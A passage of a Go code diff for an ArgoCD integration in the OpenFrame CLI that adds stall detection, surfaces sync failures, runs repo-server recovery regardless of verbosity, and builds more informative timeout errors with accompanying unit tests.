[]string) string { + sorted := append([]string(nil), notReady...) + sort.Strings(sorted) + return fmt.Sprintf("%d|%s", ready, strings.Join(sorted, ",")) +} + +// outOfSyncStragglers returns the names of applications that are not ready +// solely because they are OutOfSync (health already fine). These are the ones +// a sync operation can actually move; apps with health problems are excluded — +// syncing them would mask the real failure. +func outOfSyncStragglers(apps []Application) []string { + var names []string + for _, app := range apps { + if app.Sync == ArgoCDSyncOutOfSync && app.Health == ArgoCDHealthHealthy { + names = append(names, app.Name) + } + } + sort.Strings(names) + return names +} diff --git a/internal/chart/providers/argocd/stall_test.go b/internal/chart/providers/argocd/stall_test.go new file mode 100644 index 00000000..f934b5f7 --- /dev/null +++ b/internal/chart/providers/argocd/stall_test.go @@ -0,0 +1,110 @@ +package argocd + +import ( + "context" + "fmt" + "strings" + "testing" + + "k8s.io/apimachinery/pkg/apis/meta/v1/unstructured" + "k8s.io/apimachinery/pkg/runtime" + k8stesting "k8s.io/client-go/testing" +) + +// labeledAppObj is appObj plus ArgoCD's tracking label marking the app as a +// child of the root app-of-apps. +func labeledAppObj(name, health, sync string) *unstructured.Unstructured { + o := appObj(name, health, sync) + o.SetLabels(map[string]string{trackingInstanceLabel: AppOfAppsName}) + return o +} + +func TestStallFingerprint(t *testing.T) { + // Order-insensitive: the same set in any order is the same fingerprint. + a := stallFingerprint(3, []string{"b (Sync: OutOfSync)", "a (Sync: OutOfSync)"}) + b := stallFingerprint(3, []string{"a (Sync: OutOfSync)", "b (Sync: OutOfSync)"}) + if a != b { + t.Errorf("fingerprint must be order-insensitive: %q vs %q", a, b) + } + // Any transition changes it: ready count, membership, or status. + if a == stallFingerprint(4, []string{"a (Sync: OutOfSync)", "b (Sync: OutOfSync)"}) { + t.Error("ready-count change must change the fingerprint") + } + if a == stallFingerprint(3, []string{"a (Sync: OutOfSync)", "b (Health: Degraded)"}) { + t.Error("status change must change the fingerprint") + } +} + +// TestOutOfSyncStragglers: only healthy-but-OutOfSync apps qualify — an app +// with health problems must not be auto-synced (it would mask a real failure). +func TestOutOfSyncStragglers(t *testing.T) { + apps := []Application{ + {Name: "mongodb", Health: ArgoCDHealthHealthy, Sync: ArgoCDSyncOutOfSync}, + {Name: "ready", Health: ArgoCDHealthHealthy, Sync: ArgoCDSyncSynced}, + {Name: "broken", Health: "Degraded", Sync: ArgoCDSyncOutOfSync}, + {Name: "zoo", Health: ArgoCDHealthHealthy, Sync: ArgoCDSyncOutOfSync}, + } + got := outOfSyncStragglers(apps) + want := []string{"mongodb", "zoo"} + if len(got) != len(want) || got[0] != want[0] || got[1] != want[1] { + t.Errorf("stragglers = %v, want %v", got, want) + } +} + +// TestSyncChildApplications_PrefersTrackingLabel: only children carrying the +// app-of-apps tracking label are synced; a foreign Application in the argocd +// namespace is left alone (verification report: force-sync used to patch every +// Application, OpenFrame-owned or not). +func TestSyncChildApplications_PrefersTrackingLabel(t *testing.T) { + m := fakeManager( + appObj(AppOfAppsName, ArgoCDHealthHealthy, ArgoCDSyncSynced), + labeledAppObj("child-a", ArgoCDHealthHealthy, ArgoCDSyncOutOfSync), + appObj("foreign-app", ArgoCDHealthHealthy, ArgoCDSyncOutOfSync), // no tracking label + ) + + var patched []string + dc := m.dynamicClient.(interface { + PrependReactor(verb, resource string, fn k8stesting.ReactionFunc) + }) + dc.PrependReactor("patch", "applications", func(action k8stesting.Action) (bool, runtime.Object, error) { + patched = append(patched, action.(k8stesting.PatchAction).GetName()) + return false, nil, nil // fall through to the default reactor + }) + + if err := m.syncChildApplications(context.Background(), false); err != nil { + t.Fatalf("syncChildApplications: %v", err) + } + for _, name := range patched { + if name == "foreign-app" { + t.Error("foreign (untracked) application must not be synced when labeled children exist") + } + } + if len(patched) == 0 || patched[0] != "child-a" { + t.Errorf("labeled child must be synced, patched=%v", patched) + } +} + +// TestSyncChildApplications_AllFailuresSurface is the F8 guard: when not one +// child can be synced, the caller must get an error — previously every patch +// error was discarded and `--sync` "succeeded" into a guaranteed wait timeout. +func TestSyncChildApplications_AllFailuresSurface(t *testing.T) { + m := fakeManager( + appObj(AppOfAppsName, ArgoCDHealthHealthy, ArgoCDSyncSynced), + labeledAppObj("child-a", ArgoCDHealthHealthy, ArgoCDSyncOutOfSync), + labeledAppObj("child-b", ArgoCDHealthHealthy, ArgoCDSyncOutOfSync), + ) + dc := m.dynamicClient.(interface { + PrependReactor(verb, resource string, fn k8stesting.ReactionFunc) + }) + dc.PrependReactor("patch", "applications", func(action k8stesting.Action) (bool, runtime.Object, error) { + return true, nil, fmt.Errorf("rbac: denied") + }) + + err := m.syncChildApplications(context.Background(), false) + if err == nil { + t.Fatal("total patch failure must surface as an error") + } + if !strings.Contains(err.Error(), "rbac: denied") { + t.Errorf("error should carry the first cause, got: %v", err) + } +} diff --git a/internal/chart/providers/argocd/sync.go b/internal/chart/providers/argocd/sync.go index 30081352..13e986aa 100644 --- a/internal/chart/providers/argocd/sync.go +++ b/internal/chart/providers/argocd/sync.go @@ -5,6 +5,7 @@ import ( "fmt" "time" + "github.com/pterm/pterm" apierrors "k8s.io/apimachinery/pkg/api/errors" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/apis/meta/v1/unstructured" @@ -96,27 +97,85 @@ func (m *Manager) RefreshAndSync(ctx context.Context, prune bool) error { return m.syncChildApplications(ctx, prune) } -// syncChildApplications triggers a sync on every Application except the root -// app-of-apps (which the caller already synced). Best-effort: errors on -// individual children (e.g. an operation already running) are ignored so one -// stuck child cannot block the whole force-sync. +// trackingInstanceLabel is ArgoCD's default (label) resource-tracking marker: +// resources managed by an Application carry app.kubernetes.io/instance=. +// Child Applications created by the app-of-apps therefore carry the root's name. +const trackingInstanceLabel = "app.kubernetes.io/instance" + +// syncChildApplications triggers a sync on the root's child Applications. +// Children are selected by ArgoCD's tracking label +// (app.kubernetes.io/instance=argocd-apps); when none carry it (custom +// trackingMethod), it falls back to every Application except the root rather +// than silently syncing nothing — but then it may touch Applications that are +// not OpenFrame-owned, which the fallback warning makes visible. +// +// Per-child failures no longer vanish (audit F8): individual errors are +// counted and surfaced — a warning on partial failure, an error when NOT ONE +// child could be synced (previously `app upgrade --sync` would then "succeed" +// into a 15-minute wait timeout with no hint). func (m *Manager) syncChildApplications(ctx context.Context, prune bool) error { apps := m.dynamicClient.Resource(applicationGVR).Namespace(ArgoCDNamespace) list, err := apps.List(ctx, metav1.ListOptions{}) if err != nil { return fmt.Errorf("listing applications to sync: %w", err) } - patch := []byte(syncOperationPatch(prune)) + + var children []string for i := range list.Items { name := list.Items[i].GetName() if name == AppOfAppsName { continue } - _, _ = apps.Patch(ctx, name, types.MergePatchType, patch, metav1.PatchOptions{}) + if list.Items[i].GetLabels()[trackingInstanceLabel] == AppOfAppsName { + children = append(children, name) + } + } + if children == nil { + for i := range list.Items { + if name := list.Items[i].GetName(); name != AppOfAppsName { + children = append(children, name) + } + } + if len(children) > 0 { + pterm.Warning.Printf("No applications carry the %s=%s tracking label; syncing all %d applications in %q\n", + trackingInstanceLabel, AppOfAppsName, len(children), ArgoCDNamespace) + } + } + + patched, failed, firstErr := m.syncApplicationsByName(ctx, children, prune) + if failed > 0 && patched == 0 { + return fmt.Errorf("could not trigger a sync on any of the %d child applications (first error: %w)", failed, firstErr) + } + if failed > 0 { + pterm.Warning.Printf("Triggered sync on %d application(s); %d failed (first error: %v)\n", patched, failed, firstErr) } return nil } +// syncApplicationsByName applies the sync-operation patch to each named +// Application, returning how many were patched, how many failed, and the first +// failure. Lazily initializes the Kubernetes clients like RefreshAndSync. +func (m *Manager) syncApplicationsByName(ctx context.Context, names []string, prune bool) (patched, failed int, firstErr error) { + if m.dynamicClient == nil { + if err := m.initKubernetesClients(); err != nil { + return 0, len(names), err + } + } + apps := m.dynamicClient.Resource(applicationGVR).Namespace(ArgoCDNamespace) + patch := []byte(syncOperationPatch(prune)) + for _, name := range names { + if _, err := apps.Patch(ctx, name, types.MergePatchType, patch, metav1.PatchOptions{}); err != nil { + failed++ + if firstErr == nil { + firstErr = fmt.Errorf("%s: %w", name, err) + } + continue + } + patched++ + } + return patched, failed, firstErr +} + // appOfAppsObject fetches the current app-of-apps Application (unstructured). func (m *Manager) appOfAppsObject(ctx context.Context) (*unstructured.Unstructured, error) { return m.dynamicClient.Resource(applicationGVR).Namespace(ArgoCDNamespace). diff --git a/internal/chart/providers/argocd/wait.go b/internal/chart/providers/argocd/wait.go index b1d0a251..6f0c70f4 100644 --- a/internal/chart/providers/argocd/wait.go +++ b/internal/chart/providers/argocd/wait.go @@ -58,10 +58,18 @@ func (m *Manager) WaitForApplications(ctx context.Context, config config.ChartIn // Initial repo-server health check - catch issues early initialIssue := m.checkRepoServerHealth(localCtx, true) if initialIssue != nil { + // RepoServerIssue.Message explains what is wrong (restart count, OOMKilled, + // CrashLoopBackOff). Every caller used to discard it, so the CLI knew the + // repo-server was crash-looping and said nothing. + pterm.Warning.Printfln("ArgoCD repo-server: %s", initialIssue.Message) // If repo-server has already restarted, proactively restart it to clear any stuck state // This helps CI environments where the pod may have OOM'd during initial setup if initialIssue.Type == "resource" && initialIssue.Recoverable { + pterm.Info.Println("Restarting the ArgoCD repo-server to clear the stuck state...") m.triggerRepoServerRecovery(localCtx, "") + } else if !initialIssue.Recoverable { + pterm.Warning.Println("This is not automatically recoverable — the installation may fail. " + + "Check resources with: kubectl describe pods -n argocd -l app.kubernetes.io/component=repo-server") } } // Show initial verbose info if enabled @@ -171,6 +179,12 @@ func (m *Manager) WaitForApplications(ctx context.Context, config config.ChartIn // Once an app is ready, it stays counted even if it temporarily goes out of sync everReadyApps := make(map[string]bool) + // Stall tracking (finding N3) — see stall.go. + lastStallFingerprint := "" + lastProgressAt := time.Now() + stragglerSyncTriggered := false + stallHintShown := false + // Repo-server issue tracking for recovery logic repoServerRecoveryAttempts := 0 maxRepoServerRecoveryAttempts := 3 // Increased from 2 for CI resilience @@ -179,6 +193,29 @@ func (m *Manager) WaitForApplications(ctx context.Context, config config.ChartIn appsWithRepoServerIssues := make(map[string]int) // Track consecutive failures per app lastRepoServerResourceCheck := time.Now() repoServerResourceCheckInterval := 30 * time.Second // Reduced from 1 min for faster issue detection + lastRepoServerMessage := "" // de-duplicates the repeated diagnosis line + + // Periodic-output throttles. These are time-based on purpose: the previous + // code gated on `int(elapsed.Seconds())%10 == 0`, but the status check runs + // every checkInterval (2s), so whether elapsed ever landed on an exact + // multiple of 10 was luck. A skipped tick silently skipped that whole cycle. + lastProgressPrint := time.Now() + lastUnknownWarn := time.Time{} + lastStuckSummary := time.Time{} + + // Last observed state, kept so the timeout error can name the applications + // that never became ready. The loop had this all along and threw it away: + // "timeout waiting for ArgoCD applications after 1h0m0s" told the user + // nothing about which of the apps was stuck, or what to run next. + var lastNotReadyApps []string // decorated "name (Health: X)" labels, for the list + var lastNotReadyNames []string // bare names, for the kubectl example + lastReadyCount, lastTotalApps := 0, 0 + // The spinner already animates for interactive users, so the textual line is + // mainly a heartbeat for logs and CI; verbose users want it more often. + progressPrintInterval := 30 * time.Second + if config.Verbose { + progressPrintInterval = 10 * time.Second + } // Main loop for { @@ -194,7 +231,7 @@ func (m *Manager) WaitForApplications(ctx context.Context, config config.ChartIn spinnerStopped = true } spinnerMutex.Unlock() - return fmt.Errorf("timeout waiting for ArgoCD applications after %v", timeout) + return timeoutError(timeout, lastReadyCount, lastTotalApps, lastNotReadyApps, lastNotReadyNames) } // Periodic cluster health check @@ -327,150 +364,151 @@ func (m *Manager) WaitForApplications(ctx context.Context, config config.ChartIn currentlyReady := assess.ready healthyApps := assess.healthyNames notReadyApps := assess.notReady + lastNotReadyApps, lastReadyCount, lastTotalApps = notReadyApps, currentlyReady, totalApps + lastNotReadyNames = assess.notReadyNames + + // Stall handling (finding N3): when the state has been bit-for-bit + // identical for stallAfter and OutOfSync-but-healthy stragglers + // remain, waiting further is futile for apps with autoSync off. + // On the upgrade path, sync exactly those stragglers once; otherwise + // print an actionable hint once instead of burning the full timeout. + if fp := stallFingerprint(currentlyReady, notReadyApps); fp != lastStallFingerprint { + lastStallFingerprint = fp + lastProgressAt = time.Now() + } else if len(notReadyApps) > 0 && time.Since(lastProgressAt) > stallAfter { + if stragglers := outOfSyncStragglers(apps); len(stragglers) > 0 { + if config.SyncStragglersOnStall && !stragglerSyncTriggered { + stragglerSyncTriggered = true + pterm.Warning.Printf("No progress for %s; triggering sync of %d OutOfSync application(s): %v\n", + stallAfter.Round(time.Second), len(stragglers), stragglers) + patched, failedCount, syncErr := m.syncApplicationsByName(localCtx, stragglers, false) + if failedCount > 0 { + pterm.Warning.Printf("Straggler sync: %d triggered, %d failed (first error: %v)\n", patched, failedCount, syncErr) + } + lastProgressAt = time.Now() // give the sync room to act + } else if !stallHintShown { + stallHintShown = true + pterm.Warning.Printf("No progress for %s; %d application(s) are OutOfSync and may have auto-sync disabled: %v\n", + stallAfter.Round(time.Second), len(stragglers), stragglers) + pterm.Info.Println("They will not sync on their own — run `openframe app upgrade --sync` (or sync them in ArgoCD) to roll them out.") + lastProgressAt = time.Now() // print the hint once per stall, not every tick + } + } + } - // Show verbose logging if enabled - if config.Verbose && totalApps > 0 { - elapsed := time.Since(startTime) + elapsed := time.Since(startTime) - // Update spinner message with current status + // Progress belongs in the spinner text, not behind --verbose. Without + // this the default experience was a static "Installing ArgoCD + // applications..." for up to the full 60m timeout, with no way to tell + // a working install from a wedged one. + if totalApps > 0 { spinnerMutex.Lock() if !spinnerStopped && spinner != nil { - progress := "" - if totalApps > 0 { - progressPercent := float64(currentlyReady) / float64(totalApps) * 100 - progress = fmt.Sprintf(" (%.0f%%)", progressPercent) - } - spinner.UpdateText(fmt.Sprintf("Installing ArgoCD applications... %d/%d ready%s [%s]", - currentlyReady, totalApps, progress, elapsed.Round(time.Second))) + percent := float64(currentlyReady) / float64(totalApps) * 100 + spinner.UpdateText(fmt.Sprintf("Installing ArgoCD applications... %d/%d ready (%.0f%%) [%s]", + currentlyReady, totalApps, percent, elapsed.Round(time.Second))) } spinnerMutex.Unlock() + } - // Only show detailed status every 10 seconds to avoid spam - if int(elapsed.Seconds())%10 == 0 { - pterm.Info.Printf("ArgoCD Sync Progress: %d/%d applications ready (%s elapsed)\n", - currentlyReady, totalApps, elapsed.Round(time.Second)) - - // Always show pending applications when there are any - if len(notReadyApps) > 0 { - if len(notReadyApps) <= 8 { - pterm.Info.Printf(" Still waiting for: %v\n", notReadyApps) - } else { - pterm.Info.Printf(" Still waiting for %d applications (showing first 5): %v...\n", - len(notReadyApps), notReadyApps[:5]) - } - - // Check for applications stuck in "Unknown" status or with repo-server issues - unknownApps, appsWithConditionErrors := classifyAppIssues(apps, appsWithRepoServerIssues) - - // Check for repo-server issues and attempt recovery - if len(appsWithConditionErrors) > 0 && elapsed > 2*time.Minute { - // More frequent resource checks when repo-server issues are detected - if time.Since(lastRepoServerResourceCheck) >= repoServerResourceCheckInterval { - lastRepoServerResourceCheck = time.Now() - m.checkRepoServerHealth(localCtx, false) - } - - // Check if any app has had consistent repo-server issues - for _, app := range appsWithConditionErrors { - consecutiveIssues := appsWithRepoServerIssues[app.Name] - - // After 2 consecutive checks with repo-server issues, run diagnostics - if consecutiveIssues >= 2 && time.Since(lastRepoServerDiagnostic) >= repoServerDiagnosticInterval { - lastRepoServerDiagnostic = time.Now() - - // Attempt recovery if we haven't exceeded max attempts - if repoServerRecoveryAttempts < maxRepoServerRecoveryAttempts { - repoServerRecoveryAttempts++ - if m.triggerRepoServerRecovery(localCtx, app.Name) { - // Reset the issue counter for this app to give it a fresh start - delete(appsWithRepoServerIssues, app.Name) - } - } else if repoServerRecoveryAttempts == maxRepoServerRecoveryAttempts { - repoServerRecoveryAttempts++ // Increment to prevent repeated attempts - } - break // Only recover one app at a time - } - } + // Repo-server recovery and issue classification used to sit INSIDE the + // `if config.Verbose` block, so a user who did not pass --verbose never + // got the recovery at all: a wedged repo-server simply burned the whole + // timeout. Recovery is a corrective action, not a diagnostic — it runs + // regardless of verbosity, and announces itself when it fires. + if totalApps > 0 && len(notReadyApps) > 0 { + unknownApps, appsWithConditionErrors := classifyAppIssues(apps, appsWithRepoServerIssues) + + if len(appsWithConditionErrors) > 0 && elapsed > 2*time.Minute { + if time.Since(lastRepoServerResourceCheck) >= repoServerResourceCheckInterval { + lastRepoServerResourceCheck = time.Now() + if issue := m.checkRepoServerHealth(localCtx, false); issue != nil && issue.Message != lastRepoServerMessage { + // Print each distinct diagnosis once: the check runs every + // 30s and would otherwise repeat the same line forever. + lastRepoServerMessage = issue.Message + pterm.Warning.Printfln("ArgoCD repo-server: %s", issue.Message) } + } - // After 5 minutes, warn about Unknown status as it may indicate ArgoCD controller issues - if len(unknownApps) > 0 && elapsed > 5*time.Minute { - // Show detailed info for each unknown app using data we already have - pterm.Warning.Printf(" Applications with 'Unknown' status (%d):\n", len(unknownApps)) - for _, app := range unknownApps { - pterm.Warning.Printf("\n --- %s (Health: %s, Sync: %s) ---\n", app.Name, app.Health, app.Sync) - - // Show source info - if app.RepoURL != "" { - pterm.Info.Printf(" Source: %s", app.RepoURL) - if app.Path != "" { - pterm.Printf(" path=%s", app.Path) - } - if app.TargetRevision != "" { - pterm.Printf(" revision=%s", app.TargetRevision) - } - pterm.Println() - } - - // Show condition error (this is usually the most important info) - if app.Condition != "" { - condType := app.ConditionType - if condType == "" { - condType = "Error" - } - pterm.Warning.Printf(" %s: %s\n", condType, app.Condition) - } - - // Show operation state if present - if app.OperationPhase != "" { - pterm.Info.Printf(" Operation: %s", app.OperationPhase) - if app.OperationMessage != "" { - pterm.Printf(" - %s", app.OperationMessage) - } - pterm.Println() - } - - // Show health message if present - if app.HealthMessage != "" { - pterm.Info.Printf(" Health details: %s\n", app.HealthMessage) - } - - // Show last reconciliation time - if app.ReconciledAt != "" { - pterm.Info.Printf(" Last reconciled: %s\n", app.ReconciledAt) + for _, app := range appsWithConditionErrors { + consecutiveIssues := appsWithRepoServerIssues[app.Name] + + // After 2 consecutive checks with repo-server issues, recover. + if consecutiveIssues >= 2 && time.Since(lastRepoServerDiagnostic) >= repoServerDiagnosticInterval { + lastRepoServerDiagnostic = time.Now() + + if repoServerRecoveryAttempts < maxRepoServerRecoveryAttempts { + repoServerRecoveryAttempts++ + // Restarting the repo-server takes the apps through a + // visible wobble; say why, or it reads as a new failure. + pterm.Warning.Printfln("ArgoCD repo-server looks stuck (application %q cannot fetch its manifests); restarting it (attempt %d/%d)", + app.Name, repoServerRecoveryAttempts, maxRepoServerRecoveryAttempts) + if m.triggerRepoServerRecovery(localCtx, app.Name) { + pterm.Info.Println("ArgoCD repo-server restarted; applications will re-sync shortly.") + delete(appsWithRepoServerIssues, app.Name) } else { - pterm.Warning.Println(" Not yet reconciled (ArgoCD hasn't processed this app)") + pterm.Warning.Println("Could not restart the ArgoCD repo-server; continuing to wait.") } + } else if repoServerRecoveryAttempts == maxRepoServerRecoveryAttempts { + repoServerRecoveryAttempts++ // prevent repeated attempts + pterm.Warning.Printfln("ArgoCD repo-server did not recover after %d restarts; continuing to wait for the timeout.", + maxRepoServerRecoveryAttempts) } - - pterm.Warning.Println("\n Possible causes: Controller pod not ready, Git repo access issues, or resource constraints.") + break // Only recover one app at a time } + } + } - // After 7 minutes, log a concise summary of stuck applications - // every 5 minutes (in-memory status; no kubectl resource dump). - if elapsed > 7*time.Minute && int(elapsed.Seconds())%300 == 0 { - for _, app := range apps { - if app.Health != ArgoCDHealthHealthy && app.Health != ArgoCDHealthMissing { - line := fmt.Sprintf(" Stuck app %s: health=%s sync=%s", app.Name, app.Health, app.Sync) - if app.Condition != "" { - line += " condition=" + app.Condition - } - pterm.Warning.Println(line) - } + // Applications stuck in Unknown for 5 minutes usually mean the ArgoCD + // controller is unhealthy or git is unreachable. Warn at any verbosity + // (throttled); the per-application dump stays behind --verbose. + if len(unknownApps) > 0 && elapsed > 5*time.Minute && time.Since(lastUnknownWarn) >= 5*time.Minute { + lastUnknownWarn = time.Now() + pterm.Warning.Printfln(" %d application(s) have 'Unknown' status after %s. Possible causes: controller pod not ready, git repository unreachable, or resource constraints.", + len(unknownApps), elapsed.Round(time.Second)) + if config.Verbose { + describeUnknownApps(unknownApps) + } else { + pterm.Info.Println(" Re-run with --verbose for per-application detail.") + } + } + + // A concise summary of stuck applications, every 5 minutes after the + // 7-minute mark (in-memory status; no kubectl resource dump). + if elapsed > 7*time.Minute && time.Since(lastStuckSummary) >= 5*time.Minute { + lastStuckSummary = time.Now() + for _, app := range apps { + if app.Health != ArgoCDHealthHealthy && app.Health != ArgoCDHealthMissing { + line := fmt.Sprintf(" Stuck app %s: health=%s sync=%s", app.Name, app.Health, app.Sync) + if app.Condition != "" { + line += " condition=" + app.Condition } + pterm.Warning.Println(line) } - } + } + } - // Show recently completed applications - if len(healthyApps) > 0 && len(healthyApps) <= 5 { - startIdx := 0 - if len(healthyApps) > 5 { - startIdx = len(healthyApps) - 5 - } - pterm.Debug.Printf(" Recently completed: %v\n", healthyApps[startIdx:]) + // Textual progress heartbeat. The spinner covers interactive users; this + // line is what a CI log or a piped session sees, where the spinner is + // suppressed entirely and the previous code printed nothing at all. + if totalApps > 0 && time.Since(lastProgressPrint) >= progressPrintInterval { + lastProgressPrint = time.Now() + pterm.Info.Printf("ArgoCD sync progress: %d/%d applications ready (%s elapsed)\n", + currentlyReady, totalApps, elapsed.Round(time.Second)) + + if len(notReadyApps) > 0 { + if len(notReadyApps) <= 8 { + pterm.Info.Printf(" Still waiting for: %v\n", notReadyApps) + } else { + pterm.Info.Printf(" Still waiting for %d applications (showing first 5): %v...\n", + len(notReadyApps), notReadyApps[:5]) } } + if config.Verbose && len(healthyApps) > 0 && len(healthyApps) <= 5 { + pterm.Debug.Printf(" Recently completed: %v\n", healthyApps) + } } // Use the high water mark of applications that have ever been ready @@ -571,7 +609,15 @@ func (m *Manager) waitForArgoCDReady(ctx context.Context, verbose bool, skipCRDs } if i == maxRetries-1 { - return fmt.Errorf("timeout waiting for ArgoCD CRD applications.argoproj.io") + // The pod-wait path below prints diagnostics on timeout; this one + // returned a bare sentence with nothing to act on. The CRD is + // installed by the ArgoCD chart, so its absence means the release + // itself never landed. + return fmt.Errorf("timeout waiting for the ArgoCD CRD applications.argoproj.io to appear.\n"+ + "The CRD is installed by the ArgoCD Helm release, so this usually means the release failed.\n"+ + "Check it with: helm status %s -n %s\n"+ + "And the controller pods with: kubectl get pods -n %s", + ArgoCDReleaseName, ArgoCDNamespace, ArgoCDNamespace) } if verbose && i%5 == 0 { @@ -669,3 +715,91 @@ func (m *Manager) waitForArgoCDReady(ctx context.Context, verbose bool, skipCRDs m.printArgoCDPodDiagnostics(ctx) return fmt.Errorf("timeout waiting for ArgoCD pods to be ready") } + +// describeUnknownApps prints the per-application detail for applications stuck +// in Unknown: source, condition, operation state, health message, and last +// reconciliation. It is the --verbose expansion of the one-line warning the +// wait loop emits; the condition line is usually the one that explains it. +func describeUnknownApps(unknownApps []Application) { + for _, app := range unknownApps { + pterm.Warning.Printf("\n --- %s (Health: %s, Sync: %s) ---\n", app.Name, app.Health, app.Sync) + + if app.RepoURL != "" { + pterm.Info.Printf(" Source: %s", app.RepoURL) + if app.Path != "" { + pterm.DefaultBasicText.Printf(" path=%s", app.Path) + } + if app.TargetRevision != "" { + pterm.DefaultBasicText.Printf(" revision=%s", app.TargetRevision) + } + pterm.DefaultBasicText.Println() + } + + if app.Condition != "" { + condType := app.ConditionType + if condType == "" { + condType = "Error" + } + pterm.Warning.Printf(" %s: %s\n", condType, app.Condition) + } + + if app.OperationPhase != "" { + pterm.Info.Printf(" Operation: %s", app.OperationPhase) + if app.OperationMessage != "" { + pterm.DefaultBasicText.Printf(" - %s", app.OperationMessage) + } + pterm.DefaultBasicText.Println() + } + + if app.HealthMessage != "" { + pterm.Info.Printf(" Health details: %s\n", app.HealthMessage) + } + + if app.ReconciledAt != "" { + pterm.Info.Printf(" Last reconciled: %s\n", app.ReconciledAt) + } else { + pterm.Warning.Println(" Not yet reconciled (ArgoCD hasn't processed this app)") + } + } +} + +// maxAppsInTimeoutError bounds the application list in the timeout message: a +// large platform can leave dozens pending, and an unbounded list buries the +// next-step hint that follows it. +const maxAppsInTimeoutError = 10 + +// timeoutError builds the error returned when the wait budget is exhausted. +// +// The old message was "timeout waiting for ArgoCD applications after 1h0m0s" — +// true, and useless: the loop knew exactly which applications never became +// ready and discarded that. This names them and points at the command that +// shows why. +// +// notReadyLabels are decorated "name (Health: X)" strings for the human list; +// notReadyNames are the BARE application names for the kubectl example. They +// must be kept separate: feeding a decorated label into `kubectl describe +// application` produced `kubectl describe application argocd-apps (Health: +// Progressing) -n argocd`, which is not a runnable command. +func timeoutError(timeout time.Duration, ready, total int, notReadyLabels, notReadyNames []string) error { + var b strings.Builder + fmt.Fprintf(&b, "timeout after %s waiting for ArgoCD applications", timeout) + if total > 0 { + fmt.Fprintf(&b, " (%d/%d ready)", ready, total) + } + + if len(notReadyLabels) > 0 { + shown := notReadyLabels + suffix := "" + if len(shown) > maxAppsInTimeoutError { + suffix = fmt.Sprintf(" (and %d more)", len(shown)-maxAppsInTimeoutError) + shown = shown[:maxAppsInTimeoutError] + } + fmt.Fprintf(&b, "; still not ready: %s%s", strings.Join(shown, ", "), suffix) + } + + b.WriteString("\nInspect them with: kubectl get applications -n argocd") + if len(notReadyNames) > 0 { + fmt.Fprintf(&b, "\nDetails for one: kubectl describe application %s -n argocd", notReadyNames[0]) + } + return fmt.Errorf("%s", b.String()) +} diff --git a/internal/chart/providers/argocd/wait_gating_test.go b/internal/chart/providers/argocd/wait_gating_test.go new file mode 100644 index 00000000..18f0c6fb --- /dev/null +++ b/internal/chart/providers/argocd/wait_gating_test.go @@ -0,0 +1,93 @@ +package argocd + +import ( + "go/ast" + "go/parser" + "go/token" + "strings" + "testing" +) + +// The wait loop cannot be driven from a unit test — it spends 30s in the +// bootstrap phase before the main loop starts. But the defect this guards is +// structural, not behavioural: repo-server recovery, a CORRECTIVE action, was +// nested inside `if config.Verbose`, so a user who did not ask for extra +// logging silently lost the recovery and burned the entire 60-minute timeout +// against a wedged repo-server. The same block hid the spinner's progress text. +// +// This test parses wait.go and asserts that neither call sits under a +// verbosity check. It fails if someone re-nests them. + +// verboseGuardedCalls returns the names of the given functions that appear +// somewhere inside an `if config.Verbose ...` statement in file. +func verboseGuardedCalls(t *testing.T, file string, watch map[string]bool) []string { + t.Helper() + + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, file, nil, 0) + if err != nil { + t.Fatalf("parsing %s: %v", file, err) + } + + var found []string + ast.Inspect(f, func(n ast.Node) bool { + ifStmt, ok := n.(*ast.IfStmt) + if !ok || !mentionsVerbose(ifStmt.Cond) { + return true + } + // Walk only the `then` branch: an `else` of a verbose check is the + // non-verbose path, which is exactly where these calls belong. + ast.Inspect(ifStmt.Body, func(inner ast.Node) bool { + call, ok := inner.(*ast.CallExpr) + if !ok { + return true + } + if name := calleeName(call); watch[name] { + found = append(found, name) + } + return true + }) + return true + }) + return found +} + +// mentionsVerbose reports whether expr references config.Verbose. +func mentionsVerbose(expr ast.Expr) bool { + var hit bool + ast.Inspect(expr, func(n ast.Node) bool { + if sel, ok := n.(*ast.SelectorExpr); ok && sel.Sel.Name == "Verbose" { + hit = true + } + return !hit + }) + return hit +} + +// calleeName returns the bare function or method name of a call expression. +func calleeName(call *ast.CallExpr) string { + switch fn := call.Fun.(type) { + case *ast.Ident: + return fn.Name + case *ast.SelectorExpr: + return fn.Sel.Name + } + return "" +} + +func TestRecoveryAndProgressAreNotGatedOnVerbose(t *testing.T) { + watch := map[string]bool{ + "triggerRepoServerRecovery": true, // corrective action + "checkRepoServerHealth": true, // feeds the corrective action + "UpdateText": true, // spinner progress + } + + guarded := verboseGuardedCalls(t, "wait.go", watch) + + if len(guarded) > 0 { + t.Errorf("these calls are nested under `if config.Verbose` in wait.go and "+ + "therefore never run for a default invocation: %s\n"+ + "Recovery must not depend on a logging flag; progress is the default UX.", + strings.Join(guarded, ", ")) + } +} diff --git a/internal/chart/providers/argocd/wait_progress_test.go b/internal/chart/providers/argocd/wait_progress_test.go new file mode 100644 index 00000000..e23cb73a --- /dev/null +++ b/internal/chart/providers/argocd/wait_progress_test.go @@ -0,0 +1,85 @@ +package argocd + +import ( + "strings" + "testing" + "time" +) + +// TestTimeoutError_NamesTheStuckApplications (M3.2): the wait loop knows which +// applications never became ready. The old message threw that away and said +// only "timeout waiting for ArgoCD applications after 1h0m0s", leaving the user +// to go find the stuck app by hand. +func TestTimeoutError_NamesTheStuckApplications(t *testing.T) { + err := timeoutError(30*time.Minute, 4, 6, + []string{"openframe-api (Health: Progressing)", "openframe-ui (Health: Degraded)"}, + []string{"openframe-api", "openframe-ui"}) + + msg := err.Error() + for _, want := range []string{ + "30m0s", // how long it waited + "4/6 ready", // how far it got + "openframe-api (Health: Progressing)", // decorated label in the list + "openframe-ui (Health: Degraded)", + "kubectl get applications -n argocd", // what to run next + "kubectl describe application openframe-api -n argocd", + } { + if !strings.Contains(msg, want) { + t.Errorf("timeout error must contain %q; got:\n%s", want, msg) + } + } +} + +// TestTimeoutError_KubectlHintUsesBareName is the regression guard for the CI +// bug: notReady labels carry a " (Health: ...)" suffix for display, and the +// kubectl-describe hint used one verbatim, producing the un-runnable +// "kubectl describe application argocd-apps (Health: Progressing) -n argocd". +func TestTimeoutError_KubectlHintUsesBareName(t *testing.T) { + msg := timeoutError(time.Minute, 14, 17, + []string{"argocd-apps (Health: Progressing)"}, + []string{"argocd-apps"}).Error() + + if !strings.Contains(msg, "kubectl describe application argocd-apps -n argocd") { + t.Errorf("the kubectl hint must use the bare app name; got:\n%s", msg) + } + if strings.Contains(msg, "describe application 